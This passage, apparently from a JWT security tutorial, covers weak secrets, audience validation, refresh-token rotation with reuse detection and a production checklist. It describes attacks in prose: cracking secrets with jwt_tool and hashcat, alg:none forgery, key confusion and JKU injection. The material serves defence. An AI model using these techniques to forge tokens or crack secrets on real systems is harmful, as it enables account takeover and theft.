HMAC-SHA256 should use a 256-bit (32-byte) key with full entropy. Short, guessable secrets can be brute-forced. The tool jwt_tool and hashcat both support JWT secret cracking. A weak secret can be found in seconds.

6. Not Using aud Claims

Without audience validation, a token meant for your development environment works on production. A token for your analytics service works on your payment service. A token for your public API works on your admin API.

A fintech startup stored JWTs in localStorage with 24-hour expiration and no refresh rotation. Their marketing site had a reflected XSS vulnerability in a search parameter. An attacker chained the XSS to steal tokens from their banking dashboard (same domain, different path). With 24-hour tokens, the attacker had a full day to drain accounts before anyone noticed.

The direct financial loss was $180,000 across 23 affected accounts. The regulatory fines and legal costs were an additional $2.1 million. Their Series B round collapsed. The CTO resigned.

The fix was multi-layered: move tokens to HttpOnly cookies, reduce expiration to 10 minutes, implement refresh token rotation, fix the XSS, and deploy a Content Security Policy. Any one of those measures would have prevented or limited the attack.

Refresh Token Rotation with Reuse Detection

The refresh token dance is the most important pattern for balancing security with usability in JWT-based systems.

stateDiagram-v2
    [*] --> Login: User authenticates
    Login --> Active: Issue Access Token A1 + Refresh Token R1

    Active --> Expired: Access token A1 expires (15 min)
    Expired --> Refreshing: Client sends R1

    Refreshing --> Active2: Issue A2 + R2, invalidate R1
    Active2 --> Expired2: A2 expires

    Refreshing --> BREACH: R1 used again after R2 issued
    BREACH --> Revoked: Revoke entire token family<br/>Force re-authentication

    state BREACH {
        [*] --> Detected: Reuse detected!
        Detected --> [*]: Attacker or user has stolen copy
    }

    Expired2 --> Refreshing2: Client sends R2
    Refreshing2 --> Active3: Issue A3 + R3, invalidate R2
**The Refresh Token Dance in detail:**

When an access token expires, the client uses the refresh token to get a new one. Here is the critical part -- rotate the refresh token on every use:

1. Client sends refresh token R1 to get new access token
2. Server issues new access token A2 AND new refresh token R2
3. Server invalidates R1 (marks it as used, not deleted)
4. If someone tries to use R1 again, the server knows the refresh token was stolen (because R1 was already used). Invalidate the entire refresh token family -- log the user out everywhere.

This is called **refresh token rotation with reuse detection**, and it is specified in the OAuth 2.0 Security Best Current Practice (RFC 9700).

The key insight is that refresh tokens are used infrequently (every 5-15 minutes when the access token expires), so the overhead of a database lookup is acceptable. Unlike access tokens which are verified on every API call, refresh tokens hit the auth server only during rotation.

**Implementation considerations:**
- Store refresh tokens in a database, not in the JWT itself
- Include a `family_id` to group related refresh tokens for mass revocation
- Set an absolute maximum lifetime on refresh token families (e.g., 7 days, 30 days)
- Check that the user account is still active during every refresh
- Log refresh events for security monitoring

Best Practices for JWT in Production

Here is the checklist to use when reviewing JWT implementations.

  1. Pin the algorithm. Never accept the algorithm from the token header. Whitelist exactly the algorithm(s) you expect. This prevents alg:none, key confusion, and downgrade attacks.

  2. Use asymmetric algorithms for distributed systems. RS256 or ES256. Verifiers should not be able to forge tokens. Use HS256 only in single-server deployments.

  3. Keep access tokens short-lived. 5-15 minutes. Use refresh tokens for longer sessions. The shorter the access token lifetime, the smaller the window for a stolen token to be useful.

  4. Store tokens in HttpOnly, Secure cookies with SameSite. Not localStorage, not sessionStorage, not URL parameters. HttpOnly prevents XSS from reading the token. Secure ensures HTTPS-only transmission. SameSite prevents CSRF.

  5. Validate all standard claims. exp, iss, aud, nbf. Every time. No exceptions. Missing validation of any claim is a potential attack vector.

  6. Use strong keys. At least 256 bits of entropy for HMAC. At least 2048-bit RSA keys (4096 preferred for long-lived signing keys). P-256 curves for ECDSA. Generate keys using a CSPRNG, never from passwords or predictable seeds.

  7. Implement token revocation. Even if it means maintaining a small deny-list in Redis. Some tokens (admin tokens, tokens from compromised accounts) need to be killed immediately, not in 15 minutes.

  8. Rotate signing keys regularly. Use JWKS with kid headers. Rotate keys quarterly at minimum, immediately upon suspected compromise. Automate the rotation.

  9. Never put sensitive data in payloads. The payload is not encrypted. Assume it will be read by the client, logged by proxies, and inspected by browser extensions.

  10. Log token usage patterns. Monitor for tokens used from unusual IPs, geographies, or at unusual times. Alert on impossible travel patterns.

What about the 2 AM incident from the opening? The library in use accepted alg: "none". The attacker decoded a valid JWT, changed the role to admin, set the algorithm to none, and sent it with an empty signature. The server happily accepted it. The fix: upgrade the library, pin the algorithm to RS256, and add audience validation. Also add monitoring that alerts on any admin-role token issued outside of the IAM workflow. Total fix: about 30 lines of code. Total cost of the breach: six weeks of forensics, legal review, and customer notification.


What You've Learned

  • A JWT consists of three Base64url-encoded parts: header, payload, and signature, separated by dots -- and Base64url is encoding, not encryption, meaning anyone can read the payload
  • HMAC (HS256) uses a shared secret where every verifier can also forge tokens; RSA (RS256) and ECDSA (ES256) use key pairs where only the private key holder can sign, making them essential for distributed systems
  • The alg:none vulnerability allows attackers to strip the signature entirely by changing the algorithm header, exploiting the fundamental flaw that the verification method is specified inside the unverified token
  • Key confusion attacks trick servers into using an RSA public key as an HMAC secret by switching the algorithm from RS256 to HS256 -- both exploiting the same root cause of trusting attacker-controlled algorithm selection
  • JKU/X5U header injection directs the server to fetch verification keys from an attacker-controlled URL, allowing arbitrary token forgery
  • JWTs are bearer tokens -- whoever possesses one is authenticated, making token theft via XSS, log leakage, URL exposure, and MITM serious threats with no built-in defense
  • Opaque tokens offer easier revocation and no algorithm attacks but require server-side storage; JWTs scale better across distributed services -- the best production architecture combines both
  • Always pin the expected algorithm, validate standard claims (exp, iss, aud), use short expiration times (5-15 minutes), and store tokens in HttpOnly Secure SameSite cookies
  • Refresh token rotation with reuse detection provides the best balance of usability and security: rotating on every use and revoking the entire token family if a used token is replayed
  • JWKS endpoints enable key rotation without downtime by allowing multiple active keys identified by kid values -- automate rotation and monitor for unknown key IDs
  • JWT security is not about the token format itself -- it is about the discipline of implementation: every real-world JWT breach comes from a configuration or implementation error, not from a flaw in the cryptographic primitives